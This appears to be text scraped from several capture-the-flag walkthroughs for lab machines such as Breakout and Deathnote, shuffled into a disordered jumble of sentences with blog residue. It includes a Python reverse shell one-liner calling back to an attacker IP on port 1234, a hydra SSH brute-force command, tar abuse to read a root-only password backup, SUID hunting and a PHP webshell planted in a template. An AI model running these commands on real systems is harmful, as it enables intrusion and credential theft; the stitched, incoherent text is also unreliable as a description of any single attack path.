It is linux based machine. Per this message, we can run the stated binaries by placing the file runthis in /tmp. The walkthrough Step 1 The first step is to run the Netdiscover command to identify the target machine's IP address. Please note: For all of these machines, I have used the VMware workstation to provision VMs. However, enumerating these does not yield anything. Below we can see netdiscover in action. By default, Nmap conducts the scan on only known 1024 ports. Let us enumerate the target machine for vulnerabilities. document.getElementById( "ak_js_1" ).setAttribute( "value", ( new Date() ).getTime() ); All rights reserved Pentest Diaries We ran the id command to check the user information. It is a default tool in kali Linux designed for brute-forcing Web Applications. The identified password is given below for your reference. The identified open ports can also be seen in the screenshot given below. We clicked on the usermin option to open the web terminal, seen below. Categories 4. I am using Kali Linux as an attacker machine for solving this CTF. Download the Mr. So, two types of services are available to be enumerated on the target machine. suid abuse os.system . hackmyvm The login was successful as we confirmed the current user by running the id command. In the same directory there is a cryptpass.py which I assumed to be used to encrypt both files. Required fields are marked *. In the screenshot given below, we can see that we have run Netdiscover, which gives us the list of all the available IP addresses. The string was successfully decoded without any errors. 15. This is fairly easy to root and doesnt involve many techniques. On the home directory, we can see a tar binary. The techniques used are solely for educational purposes, and I am not responsible if the listed techniques are used against any other targets. flag1. htb As can be seen in the above screenshot, our attacker machine successfully captured the reverse shell after some time. This contains information related to the networking state of the machine*. Goal: get root (uid 0) and read the flag file We used the find command to check for weak binaries; the commands output can be seen below. We will be using 192.168.1.23 as the attackers IP address. So as youve seen, this is a fairly simple machine with proper keys available at each stage. The message states an interesting file, notes.txt, available on the target machine. 13. Usermin is a web-based interface used to remotely manage and perform various tasks on a Linux server. We have enumerated two usernames on the target machine, l and kira. We have added these in the user file. python3 -c import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((192.168.8.128,1234));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn(/bin/sh), $ python3 -c import pty; pty.spawn(/bin/bash), [cyber@breakout ~]$ ./tar -cf password.tar /var/backups/.old_pass.bak, [cyber@breakout backups]$ cat .old_pass.bak, Your email address will not be published. backend We used the cat command to save the SSH key as a file named key on our attacker machine. We need to log in first; however, we have a valid password, but we do not know any username. So lets edit one of the templates, such as the 404 template, with our beloved PHP webshell. 17. The target machine IP address is 192.168.1.60, and I will be using 192.168.1.29 as the attackers IP address. Prerequisites would be knowledge of Linux commands and the ability to run some basic pentesting tools. After that, we tried to log in through SSH. This seems to be encrypted. Style: Enumeration/Follow the breadcrumbs Command used: << netdiscover >> By default, Nmap conducts the scan only on known 1024 ports. sudo arp-scan 10.0.0.0/24 The IP address of the target is 10.0.0.83 Scan open ports Welcome to the write-up of the new machine Breakout by icex64 from the HackMyVM platform. In the command, we entered the special character ~ and after that used the fuzzing parameter, which should help us identify any directories or filenames starting with this character. So, let us try to switch the current user to kira and use the above password. The login was successful as the credentials were correct for the SSH login. Defeat all targets in the area. In this case, I checked its capability. We are now logged into the target machine as user l. We ran the id command output shows that we are not the root user. HackTheBox Timelapse Walkthrough In English, HackTheBox Trick Walkthrough In English, HackTheBox Ambassador Walkthrough In English, HackTheBox Squashed Walkthrough In English, HackTheBox Late Walkthrough In English. This step will conduct a fuzzing scan on the identified target machine. So, in the next step, we will be escalating the privileges to gain root access. 18. sshjohnsudo -l. I prefer to use the Nmap tool for port scanning, as it works effectively and is available on Kali Linux by default. So, lets start the walkthrough. I have used Oracle Virtual Box to run the downloaded machine for all of these machines. So, let us run the above payload in the target machine terminal and wait for a connection on our attacker machine. Let us try to decrypt the string by using an online decryption tool. Command used: << hydra -L user -P pass 192.168.1.16 ssh >>. As the content is in ASCII form, we can simply open the file and read the file contents. 5. I wish you a good days, cyber@breakout:~$ ./tar -cvf old_pass /var/backups/.old_pass.bak, cyber@breakout:~$ cat var/backups/.old_pass.bak. As we have access to the target machine, let us try to obtain reverse shell access by running a crafted python payload. Command used: << echo 192.168.1.60 deathnote.vuln >> /etc/hosts >>. Following the banner of Keep Calm and Drink Fristi, I thought of navigating to the /fristi directory since the others exposed by robots.txt are also name of drinks. Then we again spent some time on enumeration and identified a password file in the backup folder as follows: We ran ls l command to list file permissions which says only the root can read and write this file. We can decode this from the site dcode.fr to get a password-like text. So, let us open the URL into the browser, which can be seen below. In the next step, we will be using automated tools for this very purpose. The hint mentions an image file that has been mistakenly added to the target application. After running the downloaded virtual machine file in the virtual box, the machine will automatically be assigned an IP address from the network DHCP, and it will be visible on the login screen. I have also provided a downloadable URL for this CTF here, so you can download the machine and run it on VirtualBox. Lets start with enumeration.

We will use the Nmap tool for port scanning, as it works effectively and is available on Kali Linux by default. So, we did a quick search on Google and found an online tool that can be used to decode the message using the brainfuck algorithm. So let us open this directory into the browser as follows: As seen in the above screenshot, we found a hint that says the SSH private key is hidden somewhere in this directory. The second step is to run a port scan to identify the open ports and services on the target machine. Thus obtained, the clear-text password is given below for your reference: We enumerated the web application to discover other vulnerabilities or hints, but nothing else was there. Quickly looking into the source code reveals a base-64 encoded string. I wanted to test for other users as well, but first I wanted to see what level of access Elliot has. Funbox CTF vulnhub walkthrough. While exploring the admin dashboard, we identified a notes.txt file uploaded in the media library. This means that the HTTP service is enabled on the apache server. Difficulty: Medium-Hard File Information Back to the Top This was my first VM by whitecr0wz, and it was a fun one. We configured the netcat tool on our attacker machine to receive incoming connections through port 1234. Following a super checklist here, I looked for a SUID bit set (which will run the binary as owner rather than who invokes it) and got a hit for nmap in /usr/local/bin. We need to figure out the type of encoding to view the actual SSH key.
